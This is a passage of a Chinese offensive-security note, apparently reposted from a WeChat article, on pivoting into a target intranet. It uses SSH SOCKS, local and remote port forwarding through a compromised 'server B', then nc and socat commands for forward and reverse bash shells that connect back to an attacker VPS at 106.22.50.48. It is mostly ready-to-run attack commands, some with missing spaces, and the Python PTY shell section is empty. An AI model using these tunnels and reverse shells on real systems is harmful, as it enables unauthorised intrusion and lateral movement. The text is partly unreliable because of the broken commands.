轉(zhuǎn)自:https://mp.weixin.qq.com/s?__biz=MzI5MDQ2NjExOQ==&mid=2247484014&idx=1&sn=78fcbe24a3956ed1a0bf3fba594eb0d9&chksm=ec1e3246db69bb50949eef2218344c79ec94f2ec662729a924eb788a4a47747ba0dd3750c3dc&scene=21#wechat_redirect

利用ssh建立隧道
一、動(dòng)態(tài)端口轉(zhuǎn)發(fā)
ssh -D 用ssh做socks代理。假設(shè)你內(nèi)網(wǎng)里某臺(tái)機(jī)器可以上網(wǎng),但是你不能上網(wǎng),如果你有ssh到那臺(tái)機(jī)器的權(quán)限,那么就可以利用ssh方式建立一個(gè)代理socks5,通過(guò)代理來(lái)上網(wǎng)。
ssh -D[本地IP或省略]:[本地端口][登陸服務(wù)器的用戶名@服務(wù)器IP]-p[服務(wù)器ssh服務(wù)端口(默認(rèn)22)]
本地執(zhí)行命令:
ssh -D1080 root@106.22.50.48
效果:本地監(jiān)聽(tīng)1080端口,我們可以使用具有socks端口功能的應(yīng)用,可以通過(guò)代理:127.0.0.1:1080上網(wǎng),如果非要在目標(biāo)內(nèi)網(wǎng)使用,
可以在server B上執(zhí)行:
ssh -D 1080 root@10.3.1.6
這樣我們就可以通過(guò)server B的1080端口訪問(wèn)辦公網(wǎng)的資源。如果serverB的ssh可以訪問(wèn),
可以在本地執(zhí)行:
ssh -D1080 root@222.222.222.223
這樣我們就可以通過(guò)本地127.0.0.1:1080訪問(wèn)目標(biāo)內(nèi)網(wǎng)資源。
二、本地端口轉(zhuǎn)發(fā)
原理:將本地機(jī)(客戶機(jī))的某個(gè)端口轉(zhuǎn)發(fā)到遠(yuǎn)端指定機(jī)器的指定端口;本地端口轉(zhuǎn)發(fā)是在localhost上監(jiān)聽(tīng)一個(gè)端口,所有訪問(wèn)這個(gè)端口的數(shù)據(jù)都會(huì)通過(guò)ssh 隧道傳輸?shù)竭h(yuǎn)端的對(duì)應(yīng)端口。
在serverB上執(zhí)行:
ssh -L7001:localhost:7070root@106.22.50.48
作用:serverB監(jiān)聽(tīng)7001端口,并將7001端口的數(shù)據(jù)轉(zhuǎn)發(fā)到vps的7070端口
三、遠(yuǎn)程端口轉(zhuǎn)發(fā)
原理:將遠(yuǎn)程主機(jī)(服務(wù)器)的某個(gè)端口轉(zhuǎn)發(fā)到本地端指定機(jī)器的指定端口;遠(yuǎn)程端口轉(zhuǎn)發(fā)是在遠(yuǎn)程主機(jī)上監(jiān)聽(tīng)一個(gè)端口,所有訪問(wèn)遠(yuǎn)程服務(wù)器的指定端口的數(shù)據(jù)都會(huì)通過(guò)ssh 隧道傳輸?shù)奖镜氐膶?duì)應(yīng)端口。
在serverB上執(zhí)行:
localhost: ssh -R 3306:localhost:7070 root@10.3.1.6
作用:將10.3.1.6的3306端口轉(zhuǎn)發(fā)到serverB的7070端口,這樣我們?cè)谠L問(wèn)serverB的7070端口時(shí),其實(shí)訪問(wèn)到的是10.3.1.6的3306端口。
獲取一個(gè)shell窗口
Python PTY shell
使用nc在vps上用監(jiān)聽(tīng)4444端口:
nc -vv -l -p4444
在serverB上執(zhí)行:

socat
正向shell
vps上執(zhí)行監(jiān)聽(tīng)1337端口:
socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane
在serverB上執(zhí)行:
socat FILE:`tty`,raw,echo=0TCP:106.22.50.48:1337
反向shell
vps上執(zhí)行監(jiān)聽(tīng)1337:
socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0
在serverB上執(zhí)行:
socatTCP4:106.22.50.48:1337EXEC:bash,pty,stderr,setsid,sigint,sane